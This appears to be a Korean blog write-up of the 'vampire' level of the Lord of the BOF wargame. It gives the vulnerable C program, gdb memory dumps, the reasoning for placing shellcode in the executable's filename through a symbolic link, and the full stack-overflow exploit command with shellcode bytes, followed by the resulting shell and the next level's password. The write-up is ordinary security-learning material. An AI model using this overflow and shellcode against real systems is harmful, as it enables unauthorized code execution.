ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LOB] vampire
    hacking 2021. 9. 3. 21:00
    /*
            The Lord of the BOF : The Fellowship of the BOF
            - skeleton
            - argv hunter
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    extern char **environ;
    
    main(int argc, char *argv[])
    {
    	char buffer[40];
    	int i, saved_argc;
    
    	if(argc < 2){
    		printf("argv error\n");
    		exit(0);
    	}
    
    	// egghunter 
    	for(i=0; environ[i]; i++)
    		memset(environ[i], 0, strlen(environ[i]));
    
    	if(argv[1][47] != '\xbf')
    	{
    		printf("stack is still your friend.\n");
    		exit(0);
    	}
    
    	// check the length of argument
    	if(strlen(argv[1]) > 48){
    		printf("argument is too long!\n");
    		exit(0);
    	}
    
    	// argc saver
    	saved_argc = argc;
    
    	strcpy(buffer, argv[1]); 
    	printf("%s\n", buffer);
    
            // buffer hunter
            memset(buffer, 0, 40);
    
    	// ultra argv hunter!
    	for(i=0; i<saved_argc; i++)
    		memset(argv[i], 0, strlen(argv[i]));
    }

     

    이전까지 사용해왔던 argv들을 모두 지우는 코드가 생겼다

    쉘 코드를 올릴 다른 공간을 찾아야 한다..

     

    우리가 input값으로 넣을 수 있는 것은

    실행파일명 : argv[0]

    인자값(buffer) : argv[1]

    인자값 ~ 인데 이것이 모두 없어졌다 (환경변수나 그런 곳들도..)

     

    gdb를 통해서 메모리에 남은 값이 있나 찾아보았다

     

    0xbfffffe1:	 ""
    0xbfffffe2:	 ""
    0xbfffffe3:	 ""
    0xbfffffe4:	 ""
    0xbfffffe5:	 "/home/vampire/skeletoa"
    0xbffffffc:	 ""
    0xbffffffd:	 ""
    0xbffffffe:	 ""
    0xbfffffff:	 ""
    0xc0000000:	 <Address 0xc0000000 out of bounds>
    0xc0000000:	 <Address 0xc0000000 out of bounds>

    메모리 stack 거의 끝에 실행파일명이 남아있다

    이전 문제에서 사용해본 symbolic link를 활용하여 실행파일명에 shellcode를 올리고

    이 값이 있는 위치에 ret를 돌리면 될 것 같다

     

    파일명이 바뀌면 값의 위치가 변하니 이를 고려해여 다시 디버깅을 하고 exploit을 하였다

    [vampire@localhost vampire]$ ./`python -c 'print "\x90" * 99 + "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'` `python -c 'print "A" * 44 + "\x70\xff\xff\xbf"'`
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApÿÿ¿
    bash$ id
    uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire)
    bash$ my-pass
    euid = 510
    shellcoder

     

    skeleton / shellcoder

     

     

    이전에 사용하던 기본 25byte shellcode가 먹히지 않았다

    그래서 다른 shellcode를 사용하게 되었다.

    shellcode 제작법에 대해 공부해보고 포스팅을 해야겠다

    'hacking' 카테고리의 다른 글

    [DH] baby-linux  (0) 2024.07.26
    [LOB] skeleton  (0) 2021.09.04
    [FTZ] level 2  (0) 2021.09.01
    [LOB] troll  (0) 2021.08.31
    [LOB] orge  (0) 2021.08.30

    댓글

Designed by Tistory.